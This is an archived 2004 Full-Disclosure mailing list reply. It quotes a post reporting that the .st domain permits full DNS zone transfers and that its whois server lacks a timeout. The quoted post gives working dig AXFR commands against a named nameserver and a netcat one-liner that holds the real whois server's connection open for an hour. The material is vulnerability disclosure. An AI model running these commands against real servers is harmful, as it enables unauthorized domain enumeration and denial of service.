Re: Re: zone transfers, a spammer's dream?
Byron Copeland <[email protected]> 19 Dec 2004 23:39:55 -0500
| Newsgroups | gmane.comp.security.full-disclosure,gmane.comp.security.vulnerabilities.watch.general |
|---|---|
| Message-ID | <1103517595.9906.12.camel@Stargate> |
That is *sweet* nice find. On Sun, 2004-12-19 at 19:40, Troubles Troubles wrote: > == the fucking bugtraq moderators don't let me post this! == > > .st has this bug too. you can transfer the whole domain. their whois server > also doesn't have any time-out! > > try this: > > dig @a.root-servers.net. st. ns > dig @auth61.ns.uu.net. st. axfr > (sleep 3600; perl -e 'print "karlung-liberation-front.st\015\012";') | nc > whois.nic.st. 43 > > found by > troubles > > _________________________________________________________________ > Lättare att hitta drömresan med MSN Resor http://www.msn.se/resor/ > > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.netsys.com/full-disclosure-charter.html -- Byron Copeland www.virtualondemand.com _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
signature.asc
(application/pgp-signature, 189 B)
-----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) iD8DBQBBxlea4UzAi+VC2qoRAgFnAJ9c1dmFKHLXxX32MXH+qRMUp0/LXgCgpTS5 eKE0fAy9sFYREF1ULjvCrgY= =dZbu -----END PGP SIGNATURE-----